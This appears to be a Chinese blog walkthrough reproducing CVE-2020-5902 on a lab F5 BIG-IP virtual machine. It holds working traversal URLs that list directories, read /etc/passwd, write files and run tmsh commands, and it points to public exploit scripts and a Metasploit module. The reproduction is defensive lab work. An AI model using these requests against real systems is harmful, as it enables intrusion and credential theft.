声明
好好学习,天天向上
漏洞描述
BIG-IP F5,很熟悉,负载均衡,代理,请求转发,经常会用到
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
影响范围
BIG-IP 15.x: 15.1.0/15.0.0
BIG-IP 14.x: 14.1.0 ~ 14.1.2
BIG-IP 13.x: 13.1.0 ~ 13.1.3
BIG-IP 12.x: 12.1.0 ~ 12.1.5
BIG-IP 11.x: 11.6.1 ~ 11.6.5
复现过程
漏洞镜像需要自己去官网下载
https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition
先跳转到注册,填完邮箱后,会给邮箱里面发激活链接,收到后,访问链接,修改密码,然后再次访问上述链接,进行下载
下载好后,用虚机直接打开ova,一路下一步,然后启动
系统默认账户:root/default登录后需要修改默认密码,注意这里修改的密码也是你F5的管理端登录密码
修改完密码,需要查看用户,默认是自动获取IP的,输入ifconfig mgmt,查看获取的IP(我获取的是192.168.31.190),查看完后,浏览器输入
https://192.168.31.190/
目录遍历
浏览器访问
https://192.168.31.190/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
任意文件读取
浏览器访问
https://192.168.31.190/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
文件上传与读取
发送请求,建议用BP,当然也可以浏览器,BP看的更直观一些,我这里展示浏览器的方式
浏览器访问第一行
POST提交第二行(其中fileName是文件名,content是文件内容)
https://192.168.31.190/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp
fileName=/tmp/CVE-2020-5902.txt&content=CVE-2020-5902
执行完后,我们就创建了一个/tmp/CVE-2020-5902.txt的文件,内容为CVE-2020-5902
访问查看
https://192.168.31.190/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/CVE-2020-5902.txt
命令执行(RCE)
浏览器访问,无法成功,试了15.0.0-0.0.39的虚拟也没复现成功,放弃
在将要放弃的时候,上网看了看,原来是需要登录的,登录F5管理页面后(F5强制要求修改密码,要求复杂度极高,改了好多个,连F5也要和我作对?),再次访问如下URL有一定几率会执行,有时候就是错误,所以要有耐心,复现这个小分体,我用了2个多小时才成功
https://192.168.31.190/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
github脚本
只需要修改这一个地方即可,修改完在python2的环境中执行
https://github.com/jas502n/CVE-2020-5902
python CVE-2020-5902.py
提示让你输入命令,多输入几个,什么whoami,ls,等等
msf
记得当时爆出这个漏洞时,msf更新exp也很快,6的一批
进入msf控制台
查看现有
查找F5相关
msfconsole
reload_all
search f5_bigip
没查到?没关系,msf还没更新,怎么更新漏洞库呢,我这里手动更新,其实msf都是调用一个个.rb
进入msf目录,可以看到这里有很多.rb结尾的文件,我们创建一个
cd /usr/share/metasploit-framework/modules/exploits/linux/http/
vim f5_bigip_tmui_rce.rb
把如下代码复制粘贴进去,OK
https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
好久没用msf了,让我回想一下
use exploit/linux/http/f5_bigip_tmui_rce
show options
设置完IP,run后也没成功,大佬们怎么设置参数成功的。。。